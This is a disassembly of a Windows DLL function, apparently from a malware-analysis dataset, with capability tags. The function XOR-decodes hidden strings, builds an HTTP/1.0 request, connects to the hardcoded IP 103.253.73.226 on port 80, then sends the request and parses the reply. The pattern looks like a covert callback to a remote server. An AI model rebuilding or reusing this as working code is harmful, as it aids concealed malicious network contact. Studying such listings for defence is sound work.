Function at 0x10004600
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100113bd
mov eax, dword fs:[0]
push eax
sub esp, 0x308
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x2fc], edi
mov edx, edi
lea esi, [edx + 1]
lea ebx, [ebx]
mov al, byte [edx]
inc edx
test al, al
jne 0x10004640
push 0xa
lea eax, [ebp - 0x78]
sub edx, esi
push eax
push edx
call dword [sym.imp.MSVCR120.dll__itoa]
add esp, 0xc
mov dword [ebp - 0x104], 0xf
mov dword [ebp - 0x108], 0
mov byte [ebp - 0x118], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x11c], 0xf
mov dword [ebp - 0x120], 0
mov byte [ebp - 0x130], 0
mov ecx, 0x48
xor edx, edx
lea ecx, [ecx]
mov al, byte [edx + 0x10013994]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x2f8], al
and ecx, 0x800000ff
jns 0x100046c0
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x21
jl 0x100046a0
mov byte [ebp - 0x2d7], 0
mov byte [ebp - 4], 2
cmp byte [ebp - 0x2f8], 0
jne 0x100046de
xor ecx, ecx
jmp 0x100046f0
lea ecx, [ebp - 0x2f8]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100046e7
sub ecx, edx
push ecx
lea eax, [ebp - 0x2f8]
push eax
lea ecx, [ebp - 0x118]
call fcn.1000fb50
mov byte [ebp - 4], 1
cmp byte [edi], 0
jne 0x10004710
xor ecx, ecx
jmp 0x1000471e
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004715
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x118]
call fcn.1000fb50
push 0xb
push str._HTTP_1.0_r_n
lea ecx, [ebp - 0x118]
call fcn.1000fb50
mov ecx, 0x46
xor edx, edx
mov al, byte [edx + 0x100139d0]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x2f4], al
and ecx, 0x800000ff
jns 0x10004764
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x1c
jl 0x10004744
mov byte [ebp - 0x2d8], 0
mov byte [ebp - 4], 3
cmp byte [ebp - 0x2f4], 0
jne 0x10004782
xor ecx, ecx
jmp 0x10004799
lea ecx, [ebp - 0x2f4]
lea edx, [ecx + 1]
jmp 0x10004790
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004790
sub ecx, edx
push ecx
lea eax, [ebp - 0x2f4]
push eax
lea ecx, [ebp - 0x118]
call fcn.1000fb50
push 2
push 0x100139f0
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 1
call fcn.1000fb50
push 2
push 0x100139f0
lea ecx, [ebp - 0x118]
call fcn.1000fb50
lea eax, [ebp - 0x2d0]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x100047f1
mov ecx, str.WSAStartup___failed
call fcn.10004e20
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
mov dword [ebp - 0x2d4], edi
test edi, edi
jns 0x10004813
mov ecx, str.socket___failed
call fcn.10004e20
xorps xmm0, xmm0
mov eax, 2
movdqu xmmword [ebp - 0x140], xmm0
push str.103.253.73.226
mov word [ebp - 0x140], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x50
mov dword [ebp - 0x13c], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x13e], ax
lea eax, [ebp - 0x140]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x10004868
mov ecx, str.connect___failed
call fcn.10004e20
cmp dword [ebp - 0x104], 0x10
lea eax, [ebp - 0x118]
mov esi, dword [ebp - 0x108]
cmovae eax, dword [ebp - 0x118]
push 0
push esi
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, esi
je 0x1000489b
mov ecx, str.send___sent_a_different_number_of_bytes_than_expected
call fcn.10004e20
push 0
push 0x1001385c
lea ecx, [ebp - 0x130]
call fcn.10003d80
mov edi, dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete_void__]
push 0
push 1
lea eax, [ebp - 0xe1]
push eax
push dword [ebp - 0x2d4]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
jle 0x10004994
cmp byte [ebp - 0xe1], 0
mov dword [ebp - 0x300], 0xf
mov dword [ebp - 0x304], 0
mov byte [ebp - 0x314], 0
jne 0x100048fc
xor ecx, ecx
jmp 0x1000490e
lea ecx, [ebp - 0xe1]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004905
sub ecx, edx
push ecx
lea eax, [ebp - 0xe1]
push eax
lea ecx, [ebp - 0x314]
call fcn.10003d80
push esi
push ecx
lea eax, [ebp - 0x2f0]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x314]
call fcn.1000f890
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 5
call fcn.1000fa90
cmp dword [ebp - 0x2dc], 0x10
jb 0x10004961
push dword [ebp - 0x2f0]
call edi
add esp, 4
mov byte [ebp - 4], 1
cmp dword [ebp - 0x300], 0x10
mov dword [ebp - 0x2dc], 0xf
mov dword [ebp - 0x2e0], 0
mov byte [ebp - 0x2f0], 0
jb 0x10004994
push dword [ebp - 0x314]
call edi
add esp, 4
cmp esi, 1
je 0x100048b3
cmp dword [ebp - 0x11c], 0x10
lea ecx, [ebp - 0xe8]
mov eax, 0xa
mov word [ebp - 0xe8], ax
lea eax, [ebp - 0x130]
cmovae eax, dword [ebp - 0x130]
push ecx
push eax
call dword [sym.imp.MSVCR120.dll_strtok]
mov esi, eax
add esp, 8
test esi, esi
je 0x10004b44
jmp 0x100049e0
mov dword [ebp - 0xec], 0xf
mov dword [ebp - 0xf0], 0
mov byte [ebp - 0x100], 0
cmp byte [esi], 0
jne 0x10004a04
xor ecx, ecx
jmp 0x10004a19
mov ecx, esi
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004a10
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x100]
call fcn.10003d80
push 0x20
push ecx
lea eax, [ebp - 0x2f0]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x100]
call fcn.1000f890
mov esi, eax
lea eax, [ebp - 0x100]
cmp eax, esi
je 0x10004a86
cmp dword [ebp - 0xec], 0x10
jb 0x10004a5f
push dword [ebp - 0x100]
call edi
add esp, 4
push esi
lea ecx, [ebp - 0x100]
mov dword [ebp - 0xec], 0xf
mov dword [ebp - 0xf0], 0
mov byte [ebp - 0x100], 0
call fcn.1000fa30
cmp dword [ebp - 0x2dc], 0x10
jb 0x10004a9a
push dword [ebp - 0x2f0]
call edi
add esp, 4
cmp dword [ebp - 0xec], 0x10
lea ecx, [ebp - 0x100]
cmovae ecx, dword [ebp - 0x100]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004ab1
push 0xa
lea eax, [ebp - 0xe0]
sub ecx, edx
push eax
push ecx
call dword [sym.imp.MSVCR120.dll__itoa]
mov ecx, dword [ebp - 0x2fc]
lea eax, [ebp - 0x100]
add esp, 0xc
cmp dword [ebp - 0xec], 0x10
cmovae eax, dword [ebp - 0x100]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10004b07
test dl, dl
je 0x10004b03
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10004b07
add eax, 2
add ecx, 2
test dl, dl
jne 0x10004ae7
xor eax, eax
jmp 0x10004b0c
sbb eax, eax
or eax, 1
test eax, eax
je 0x10004b89
lea eax, [ebp - 0xe8]
push eax
push 0
call dword [sym.imp.MSVCR120.dll_strtok]
add esp, 8
mov byte [ebp - 4], 1
cmp dword [ebp - 0xec], 0x10
mov esi, eax
jb 0x10004b3c
push dword [ebp - 0x100]
call edi
add esp, 4
test esi, esi
jne 0x100049e0
push dword [ebp - 0x2d4]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [ebp - 0x130]
call fcn.10003c70
lea ecx, [ebp - 0x118]
call fcn.10003c70
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100103d3
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x2d4]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [ebp - 0x100]
call fcn.10003c70
lea ecx, [ebp - 0x130]
call fcn.10003c70
lea ecx, [ebp - 0x118]
call fcn.10003c70
mov eax, 1
jmp 0x10004b6e